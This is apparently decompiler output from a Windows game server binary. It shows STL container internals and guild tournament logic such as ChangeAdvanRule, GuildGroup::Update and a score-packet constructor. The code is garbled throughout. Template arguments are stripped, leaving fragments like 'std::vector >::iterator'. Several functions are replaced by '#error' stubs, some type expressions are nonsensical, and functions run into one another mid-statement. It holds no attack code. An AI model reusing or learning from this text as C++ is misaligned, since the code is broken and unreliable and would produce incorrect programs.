*)(*(_DWORD *)&_Where + 12) < _Val->first; if ( *(_DWORD *)(*(_DWORD *)&_Where + 12) > _Val->first ) { _Val = (std::pair *)_Where; std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); if ( _Val[1].second < v9 ) { if ( *(_BYTE *)(_Val[1].first + 21) ) { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val, v7); v5 = result; } else { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 1, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, v7); v5 = result; } return v5; } v10 = *(_DWORD *)(*(_DWORD *)&_Where + 12) < v9; } if ( !v10 || (_Val = (std::pair *)_Where, std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val), (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val != v4->_Myhead) && v9 >= _Val[1].second ) { LABEL_21: v11 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::insert( v4, (std::pair,std::allocator >,0> >::iterator,bool> *)&v12, v7)->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; return v5; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&_Where + 8) + 21) ) { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 0, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, v7); v5 = result; } else { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val, v7); v5 = result; } return v5; } //----- (0046B750) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TickTimer *_Val) { std::vector > *v4; // edi@1 TickTimer *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0046B7C0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v4; // edi@1 TOURNAMENT_PLAYER_SCORE *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0046B830) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase( this, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator= (unsigned int)&wholesaver.ws_savestore[802].esc_abstate.buffer[6547] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(this, *((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 68) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 68) = 1; *(_BYTE *)(v14 + 68) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 68) = 0; v11 = *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 68) = 1; *result = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0046BAA0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last) { GuildTournamentSystem::AdvanMobItemRegenInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Val) { GuildTournamentSystem::FlagInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::FlagInfo::operator_((int)i, (int)_Val); } //----- (0046BB00) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::FlagInfo *_First, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::FlagInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) GuildTournamentSystem::FlagInfo::FlagInfo(v5, _Val); --v6; ++v5; LOBYTE(v10) = 0; } } //----- (0046BB90) -------------------------------------------------------- #error "46BB90: undefined or illegal type '#593' (funcsize=41)" //----- (0046BC00) -------------------------------------------------------- void __thiscall GuildTournamentSystem::ChangeAdvanRule(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // edi@1 unsigned int v2; // ecx@1 unsigned int v3; // eax@1 unsigned __int16 v4; // bp@2 bool v5; // bl@2 int v6; // edx@5 int v7; // eax@5 int i; // esi@7 int v9; // eax@8 void *v10; // eax@10 int v11; // edx@13 int v12; // eax@14 GuildTournamentSystem::GuildGroup::Advantage val; // [sp+Ch] [bp-8h]@17 v1 = this; v2 = this->m_GroupB.m_unAllGuildScore; v3 = v1->m_GroupA.m_unAllGuildScore; if ( v3 >= v2 ) { v4 = v3 - v2; v5 = 0; } else { v4 = v2 - v3; v5 = 1; } if ( v4 ) { v6 = ITableBase::ms_pkTable; v7 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( v7 ) { if ( *(_DWORD *)(v7 + 40) ) { for ( i = 0; ; ++i ) { v9 = *(_DWORD *)(v6 + 52); if ( !v9 ) break; if ( (unsigned int)i >= *(_DWORD *)(v9 + 40) ) break; v10 = CDataReader::GetRecord((CDataReader *)(v6 + 4), i); if ( !v10 ) return; if ( v4 < *(_WORD *)((char *)v10 + 1) ) goto LABEL_17; v6 = ITableBase::ms_pkTable; } v11 = *(_DWORD *)(v6 + 52); if ( v11 ) v12 = *(_DWORD *)(v11 + 40); else v12 = 0; i = v12 - 1; LABEL_17: val.m_nLevel = i; val.m_IsAdvan = v5; GuildTournamentSystem::GuildGroup::SetAdvan(&v1->m_GroupA, &val); val.m_IsAdvan = v5 == 0; val.m_nLevel = i; GuildTournamentSystem::GuildGroup::SetAdvan(&v1->m_GroupB, &val); } } } } // D1D90C8: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (0046BCC0) -------------------------------------------------------- #error "46BCC0: undefined or illegal type '#593' (funcsize=64)" //----- (0046BD90) -------------------------------------------------------- #error "46BD90: undefined or illegal type '#593' (funcsize=9)" //----- (0046BDB0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::Update(GuildTournamentSystem::GuildGroup *this, int nTickDeltaTime) { GuildTournamentSystem::GuildGroup *v2; // ebx@1 TickTimer *v3; // esi@1 unsigned int v4; // edi@3 int v5; // esi@3 int i; // ebp@3 int v7; // eax@4 int v8; // ebx@6 int v9; // ebx@9 GuildTournamentSystem::GuildGroup *v10; // [sp+10h] [bp-4h]@1 v2 = this; v3 = &this->m_LastGuildMasterReviveTime; v10 = this; if ( TickTimer::CheckUpdateEvent(&this->m_LastGuildMasterReviveTime, nTickDeltaTime) ) { TickTimer::Enable(v3, 0); GuildTournamentSystem::GuildGroup::GuildMasterBuffRun(v2); } v4 = 0; v5 = (int)&v2->m_vecGuildBuffUseTime; for ( i = 0; ; i += 12 ) { v7 = *(_DWORD *)(v5 + 4); if ( !v7 ) break; if ( v4 >= (*(_DWORD *)(v5 + 8) - v7) / 12 ) break; v8 = *(_DWORD *)(v5 + 4); if ( !v8 || (*(_DWORD *)(v5 + 8) - v8) / 12 <= v4 ) LABEL_13: std::vector>::_Xran((std::vector > *)v5); if ( TickTimer::CheckUpdateEvent((TickTimer *)(v8 + i), nTickDeltaTime) ) { v9 = *(_DWORD *)(v5 + 4); if ( !v9 || (*(_DWORD *)(v5 + 8) - v9) / 12 <= v4 ) goto LABEL_13; TickTimer::Enable((TickTimer *)(v9 + i), 0); } v2 = v10; ++v4; } if ( TickTimer::CheckUpdateEvent(&v2->m_FlagMultiplelTime, nTickDeltaTime) ) { GuildTournamentSystem::GuildGroup::SetFlagMultiple(v2, 1); TickTimer::Enable(&v2->m_FlagMultiplelTime, 0); } } //----- (0046BEB0) -------------------------------------------------------- #error "46BEB0: undefined or illegal type '#593' (funcsize=44)" //----- (0046BF60) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendScorePacket::SendScorePacket(GuildTournamentSystem::SendScorePacket *this, GuildTournamentSystem::GuildGroup *pGroup) { this->m_vecPlayerScores._Myfirst = 0; this->m_vecPlayerScores._Mylast = 0; this->m_vecPlayerScores._Myend = 0; this->m_pPacket = (PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *)this; *(_DWORD *)&this->buffer[1] = pGroup->m_GuildNumber; this->m_pPacket->unAllScore = pGroup->m_unAllGuildScore; this->m_pPacket->unCaptureFlagCount = pGroup->m_nCaptureFlagCount; this->m_pPacket->unPlayerNum = 0; this->m_pPacket->PartMask = 0; } //----- (0046BFA0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, const unsigned __int16 *_Val) { unsigned __int16 *v2; // esi@1 signed int v3; // edx@2 unsigned __int16 *v4; // eax@6 v2 = this->_Myfirst; if ( v2 ) v3 = this->_Mylast - v2; else v3 = 0; if ( v2 && v3 < this->_Myend - v2 ) { v4 = this->_Mylast; *v4 = *_Val; this->_Mylast = v4 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u, _Val); } } //----- (0046BFF0) -------------------------------------------------------- int *__thiscall std::map_std::allocator>>::operator__(std::map,std::allocator > > *this, const unsigned int *_Keyval) { std::_Tree,std::allocator >,0> >::iterator v2; // edx@1 std::_Tree,std::allocator >,0> >::iterator v3; // eax@1 int *result; // eax@8 std::pair _Val; // [sp+Ch] [bp-8h]@8 v2 = (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead; v3 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v2 + 4); while ( !*(_BYTE *)(*(_DWORD *)&v3 + 21) ) { if ( *(_DWORD *)(*(_DWORD *)&v3 + 12) >= *_Keyval ) { v2 = v3; v3 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v3; } else { v3 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v3 + 8); } } if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v2 != this->baseclass_0._Myhead && *_Keyval >= *(_DWORD *)(*(_DWORD *)&v2 + 12) ) { result = (int *)(*(_DWORD *)&v2 + 16); } else { _Val.first = *_Keyval; _Val.second = 0; result = (int *)(*(_DWORD *)&std::_Tree_std::allocator>_0>>::insert( &this->baseclass_0, (std::_Tree,std::allocator >,0> >::iterator *)&_Keyval, v2, &_Val)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] + 16); } return result; } //----- (0046C070) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, TickTimer *_Val) { std::vector > *v2; // esi@1 TickTimer *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 TickTimer *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0046C0F0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v2; // esi@1 TOURNAMENT_PLAYER_SCORE *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 TOURNAMENT_PLAYER_SCORE *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 4; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0046C180) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this) { #615 **v1; // esi@1 signed int v2; // edx@2 #615 **v3; // eax@6 #615 **v4; // [sp+8h] [bp+4h]@0 v1 = this->_Myfirst; if ( v1 ) v2 = this->_Mylast - v1; else v2 = 0; if ( v1 && v2 < this->_Myend - v1 ) { v3 = this->_Mylast; *v3 = *v4; this->_Mylast = v3 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u); } } // 46C180: inconsistent function type and number of purged bytes //----- (0046C1D0) -------------------------------------------------------- GuildTournamentSystem::Gate *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::Gate *_Ptr, unsigned int _Count, GuildTournamentSystem::Gate *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0046C200) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v2; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0046C250) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0046C280) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...) { int v3; // ebp@1 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v4; // ebx@1 char v5; // al@1 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v6; // edi@1 unsigned int i; // ecx@2 unsigned int v8; // ebx@4 const char *v9; // eax@5 unsigned int v10; // edx@7 int v11; // ecx@10 const char *v12; // esi@13 int v13; // eax@15 bool v14; // sf@15 unsigned __int8 v15; // of@15 signed int v16; // eax@17 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *_Wherenode; // [sp+20h] [bp-4h]@4 v3 = *(_DWORD *)(*((_DWORD *)this + 1) + 4); v4 = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)*((_DWORD *)this + 1); v5 = 1; v6 = _Val; thisa = this; _Addleft = 1; if ( !*(_BYTE *)(v3 + 69) ) { for ( i = _Val->first._Mysize; ; i = _Val->first._Mysize ) { v8 = *(_DWORD *)(v3 + 32); _Wherenode = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)v3; if ( *(_DWORD *)(v3 + 36) < 0x10u ) v9 = (const char *)(v3 + 16); else v9 = *(const char **)(v3 + 16); v10 = _Val->first._Mysize; if ( i < _Val->first._Mysize ) v10 = i; if ( !v10 ) goto LABEL_37; v11 = v10; if ( v10 >= v8 ) v11 = *(_DWORD *)(v3 + 32); v12 = (const char *)(v6->first._Myres < 0x10 ? &v6->first._Bx : *(_DWORD *)&v6->first._Bx._Buf[0]); v13 = strncmp(v12, v9, v11); v15 = 0; v14 = v13 < 0; v6 = _Val; if ( !v13 ) { LABEL_37: if ( v10 >= v8 ) v16 = v10 != v8; else v16 = -1; v15 = 0; v14 = v16 < 0; } v5 = v14 ^ v15; _Addleft = v14 ^ v15; v3 = v14 ^ v15 ? *(_DWORD *)v3 : *(_DWORD *)(v3 + 8); if ( *(_BYTE *)(v3 + 69) ) break; } v4 = _Wherenode; this = thisa; } v17 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> ***)this + 1) ) { v18 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( this, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst = v18; result->second = 1; return v19; } std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst._Myres < 0x10 ) v20 = (const char *)&v6->first._Bx; else v20 = *(const char **)&v6->first._Bx._Buf[0]; if ( std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)(v17 + 12), 0, *(_DWORD *)(v17 + 32), v20, v6->first._Mysize) >= 0 ) { v19 = result; result->first = v17; result->second = 0; } else { v21 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( thisa, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst = v21; result->second = 1; } return v19; } //----- (0046C400) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last) { GuildTournamentSystem::Gate *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::Gate::_Gate(i); } //----- (0046C430) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::Gate *_Val) { std::vector > *v4; // esi@1 GuildTournamentSystem::Gate *v5; // ecx@1 int v6; // edx@1 int v7; // eax@2 int v8; // edx@10 int v9; // eax@14 int v10; // edx@17 int v11; // eax@21 void *v12; // ebx@24 GuildTournamentSystem::Gate *v13; // eax@24 GuildTournamentSystem::Gate *v14; // ST20_4@24 GuildTournamentSystem::Gate *v15; // ecx@24 int v16; // eax@25 unsigned int v17; // edi@27 GuildTournamentSystem::Gate *v18; // eax@30 int v19; // ecx@30 unsigned int v20; // ST28_4@31 GuildTournamentSystem::Gate *v21; // ST24_4@31 char *v22; // eax@31 char *v23; // edi@31 GuildTournamentSystem::Gate *v24; // edi@32 GuildTournamentSystem::Gate *v25; // eax@32 std::_Nonscalar_ptr_iterator_tag v26; // ST18_1@32 int v27; // [sp+0h] [bp-70h]@1 int v28; // [sp+Ch] [bp-64h]@24 std::vector > *cookie; // [sp+10h] [bp-60h]@1 char *_Ptr; // [sp+14h] [bp-5Ch]@24 void *_Newvec; // [sp+18h] [bp-58h]@24 char _Tmp; // [sp+1Ch] [bp-54h]@1 void *v33; // [sp+28h] [bp-48h]@36 unsigned int v34; // [sp+3Ch] [bp-34h]@35 void *p; // [sp+44h] [bp-2Ch]@34 int v36; // [sp+54h] [bp-1Ch]@35 unsigned int v37; // [sp+58h] [bp-18h]@33 unsigned int v38; // [sp+5Ch] [bp-14h]@1 int *v39; // [sp+60h] [bp-10h]@1 int v40; // [sp+6Ch] [bp-4h]@1 int v41; // [sp+70h] [bp+0h]@1 v38 = (unsigned int)&v41 ^ __security_cookie; v4 = this; v39 = &v27; cookie = this; GuildTournamentSystem::Gate::Gate((GuildTournamentSystem::Gate *)&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v40 = 0; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; if ( _Count ) { if ( v5 ) v6 = v4->_Mylast - v5; if ( (unsigned int)&wholesaver.ws_savestore[688].esc_abstate.buffer[-v6 + 11071] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( v7 >= _Count + v8 ) { v18 = v4->_Mylast; v19 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 6; _Newvec = v4->_Mylast; if ( v19 >= _Count ) { v24 = &v18[-_Count]; _Ptr = (char *)(_Count << 6); v25 = std::_Uninit_copy>( &v18[-_Count], v18, v18, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v26.dummy[0] = (char)_Newvec; v4->_Mylast = v25; std::_Copy_backward_opt( *(GuildTournamentSystem::Gate **)&_Where, v24, (GuildTournamentSystem::Gate *)_Newvec, v26); std::fill( *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)&_Ptr[*(_DWORD *)&_Where], (GuildTournamentSystem::Gate *)&_Tmp); } else { _Ptr = (char *)(_Count << 6); std::_Uninit_copy>( *(GuildTournamentSystem::Gate **)&_Where, v18, (GuildTournamentSystem::Gate *)(*(_DWORD *)&_Where + (_Count << 6)), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v20 = _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 6); v21 = v4->_Mylast; LOBYTE(v40) = 3; std::vector>::_Ufill( v4, v21, v20, (GuildTournamentSystem::Gate *)&_Tmp); v22 = _Ptr; v23 = &_Ptr[(unsigned int)v4->_Mylast]; v4->_Mylast = 